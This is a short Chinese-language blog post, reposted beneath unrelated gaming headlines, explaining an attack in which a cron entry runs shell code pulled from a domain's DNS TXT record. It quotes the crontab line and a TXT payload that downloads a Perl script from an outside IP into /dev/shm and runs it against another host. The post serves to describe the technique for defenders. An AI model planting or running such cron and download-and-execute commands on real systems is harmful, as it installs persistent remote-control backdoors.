《Disney +》 迪士尼、Marvel、彼思、星球大戰…  獨家預覽《Fall Guys》第6季新回合「Pipe Dream」   在全新的《Sackboy: A Big Adventure》針織競速破關挑戰中試試自己的技能和反應能力   「CAPCOM Pro Tour Online 2021」首場比賽於4月17日日本登場!   在現實世界一起去狩獵吧!USJ首個魔物獵人VR遊戲設施「Monster Hunter World:Iceborne XR WALK」明年春季登場!   在即將於明年登陸PS4和PS5《Deathverse: Let It Die》中,於殘酷世界內努力生存   《Predator: Hunting Grounds》狩獵夜驚魂   ONKYO的電競耳機套組「SHIDO」的一般發售日定於2021年1月下旬!   《GUILTY GEAR -STRIVE-》發售前發布showcase!公開首次曝光影片與時間表! 

使用 Cron 埋入後門 來執行 DNS 查詢的攻擊模式

商業

現在入侵機器後,攻擊模式越來越多元了,連要做什麼事情的程式(一般至少會寫要去哪抓程式),都不直接寫在裡面了...

使用 Cron 埋入後門 來執行 DNS 查詢的攻擊模式

平常安全性的檢查,比較不會去檢查 Cron,所以這次的攻擊手法就是把後門埋在 Cronjob 裡面,而且看起來就只是做 DNS 的查詢動作而已。

下述內容整理自此篇:Cronjob Backdoors

此攻擊手法是利用 Cronjob 埋入後門,定期依照 DNS TXT 的紀錄來遠端執行惡意程式。

手法步驟如下:

  1. crontab 埋入下述:
    0 1 * * * /bin/sh -c "sh -c $(dig logging.chat TXT +short @pola.ns.cloudflare.com)"
  2. 於 logging.chat 這個 Domain 的 DNS TXT 內容如下:
    "wget hxxp://89(.)248(.)171(.)3/h.pl -q -O /dev/shm/h.pl&&nohup perl /dev/shm/h.pl 66.172.27.225 80&disown"

於是就會每天在 1:00 的時候,自動抓取惡意程式來執行。

Tsung

隨機商業新聞

Micorsoft